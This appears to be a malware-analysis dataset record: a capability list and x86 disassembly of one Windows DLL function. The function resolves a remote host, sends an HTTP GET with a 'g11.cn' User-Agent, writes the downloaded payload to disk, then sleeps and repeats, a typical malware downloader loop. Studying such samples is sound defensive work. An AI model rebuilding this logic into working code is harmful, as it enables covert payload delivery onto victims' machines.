Function at 0x10003ea0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create raw socket
Create tcp socket
Create udp socket
Download and write a file
Initialize winsock library
Receive and write data from server to client
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header
Write file on windows

Disassembly:
mov eax, 0x1f2c
call fcn.10005c30
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x175]
mov byte [esp + 0x174], 0
mov byte [esp + 0x3c], al
rep stosd dword es:[edi], eax
mov ecx, 0xd
lea edi, [esp + 0x3d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x2c8
xor eax, eax
lea edi, [esp + 0xa7d]
mov byte [esp + 0xa7c], 0
rep stosd dword es:[edi], eax
mov cl, byte [0x1000f328]
lea edx, [esp + 0xc]
stosw word es:[edi], ax
mov eax, dword [str.1032]
push edx
mov dword [esp + 0x10], eax
lea eax, [esp + 0x40]
push eax
mov byte [esp + 0x18], cl
call fcn.10002660
lea ecx, [esp + 0x44]
lea edx, [esp + 0xa84]
push ecx
push edx
call fcn.10003780
lea eax, [esp + 0xa8c]
push str.ntext
push eax
lea ecx, [esp + 0x18c]
push str._s_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
lea edx, [esp + 0x194]
push edx
call fcn.1000c206
lea eax, [esp + 0xaa0]
push eax
call fcn.100027d0
add esp, 0x28
mov byte [esp + 7], al
test al, al
je 0x10003f78
lea ecx, [esp + 0xa7c]
push ecx
call fcn.100032b0
add esp, 4
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x75]
mov byte [esp + 0x74], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x124f80
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call fcn.10001d20
add esp, 4
test eax, eax
je 0x1000454d
push ebx
push ebp
push esi
mov edi, str.abcdefgking
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x80]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x1000f314
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x20
lea edi, [esp + 0x84]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x84]
push ecx
call fcn.10005bb0
mov edi, str.aaaaaaa
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x88]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x20
lea edi, [esp + 0x8c]
rep stosd dword es:[edi], eax
call fcn.10001d20
push 1
call fcn.10001d20
add esp, 0x10
test eax, eax
je 0x1000406c
push 2
call fcn.10001d20
add esp, 4
test eax, eax
je 0x1000406c
push 3
call fcn.10001d20
add esp, 4
test eax, eax
je 0x1000406c
push 1
call fcn.10001d20
add esp, 4
lea ecx, [esp + 0x15ac]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x101]
mov byte [esp + 0x100], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, byte [esp + 0x13ab]
lea ecx, [esp + 0x100]
cmp al, 0x2f
lea ebx, [esp + 0x13ac]
je 0x100040bb
mov dl, byte [ebx]
inc ebx
cmp dl, 0x2f
jne 0x100040b3
cmp byte [ebx], 0x2f
jne 0x10004520
mov al, byte [ebx + 1]
inc ebx
cmp al, 0x2f
je 0x100040d7
mov byte [ecx], al
mov al, byte [ebx + 1]
inc ecx
inc ebx
cmp al, 0x2f
jne 0x100040cc
xor eax, eax
lea ecx, [esp + 0x100]
mov dword [esp + 0x21], eax
push ecx
mov dword [esp + 0x29], eax
mov byte [esp + 0x24], 0
mov dword [esp + 0x2d], eax
mov dword [esp + 0x31], eax
mov word [esp + 0x35], ax
mov byte [esp + 0x37], al
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10004185
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x20]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
push 1
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 2
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.WS2_32.dll_socket]
push 0x50
mov ebp, eax
mov word [esp + 0x3c], 2
call dword [sym.imp.WS2_32.dll_htons]
lea ecx, [esp + 0x20]
mov word [esp + 0x3a], ax
push ecx
call dword [sym.imp.WS2_32.dll_inet_addr]
lea edx, [esp + 0x38]
push 0x10
push edx
push ebp
mov dword [esp + 0x48], eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10004190
push ebp
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x10004520
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x289]
mov byte [esp + 0x288], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
or ecx, 0xffffffff
mov edi, str.GET
xor eax, eax
lea edx, [esp + 0x288]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x288]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x288]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._HTTP_1.1_r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x288]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Accept:___r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x288]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str.Host:
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x288]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
lea edi, [esp + 0x100]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x288]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x1000f0c8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x288]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.User_Agent:_g11.cn_r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x288]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Connection:Keep_Alive_r_n_r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x28c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x28c]
push ecx
push eax
push ebp
call dword [sym.imp.WS2_32.dll_send]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x689]
mov byte [esp + 0x688], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [esp + 0x12], 0
xor esi, esi
cmp esi, 0x400
jge 0x100043e6
push 0
lea ecx, [esp + 0x16]
push 1
push ecx
push ebp
call dword [sym.imp.WS2_32.dll_recv]
mov dl, byte [esp + 0x12]
mov byte [esp + esi + 0x688], dl
inc esi
cmp esi, 4
jl 0x10004395
cmp byte [esp + esi + 0x684], 0xd
jne 0x10004395
cmp byte [esp + esi + 0x685], 0xa
jne 0x10004395
cmp byte [esp + esi + 0x686], 0xd
jne 0x10004395
cmp byte [esp + esi + 0x687], 0xa
jne 0x10004395
push 0x1000f0c8
lea eax, [esp + 0x68c]
push str.Content_Length
push eax
call fcn.10005bb0
add esp, 8
add eax, 0xf
push eax
call fcn.10005bb0
lea ecx, [esp + 0x690]
push str.Content_Length
push ecx
mov word [eax], 0
xor ebx, ebx
call fcn.10005bb0
add eax, 0xf
push eax
call fcn.10005b0e
add esp, 0x14
lea edx, [esp + 0xb8d]
mov esi, eax
push ebx
push 0x20
push 2
push ebx
push 1
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x14], eax
mov ecx, 0x1ff
xor eax, eax
lea edi, [esp + 0x173d]
mov byte [esp + 0x173c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
test esi, esi
stosb byte es:[edi], al
jle 0x100044b7
push 0
lea eax, [esp + 0x1740]
push 0x400
push eax
push ebp
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x100044b7
cmp eax, 0xffffffff
je 0x100044b7
lea edx, [esp + 0x34]
lea ecx, [esp + eax + 0x173c]
push 0
push edx
add ebx, eax
push eax
mov byte [ecx], 0
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x1748]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp ebx, esi
jl 0x1000446d
push ebp
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [esp + 0x13]
test al, al
je 0x100044e7
lea eax, [esp + 0xa88]
push eax
call fcn.100032b0
add esp, 4
lea ecx, [esp + 0xc92]
lea edx, [esp + 0xb8d]
push ecx
push edx
call fcn.10001d30
lea eax, [esp + 0xa90]
push eax
call fcn.100038a0
add esp, 0xc
test eax, eax
je 0x10004520
lea ecx, [esp + 0xa88]
push ecx
call fcn.10003920
add esp, 4
push 0x6ddd00
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call fcn.10001d20
add esp, 4
test eax, eax
jne 0x10003fad
pop esi
pop ebp
pop ebx
mov eax, 1
pop edi
add esp, 0x1f2c
ret
mov eax, 1
pop edi
add esp, 0x1f2c
ret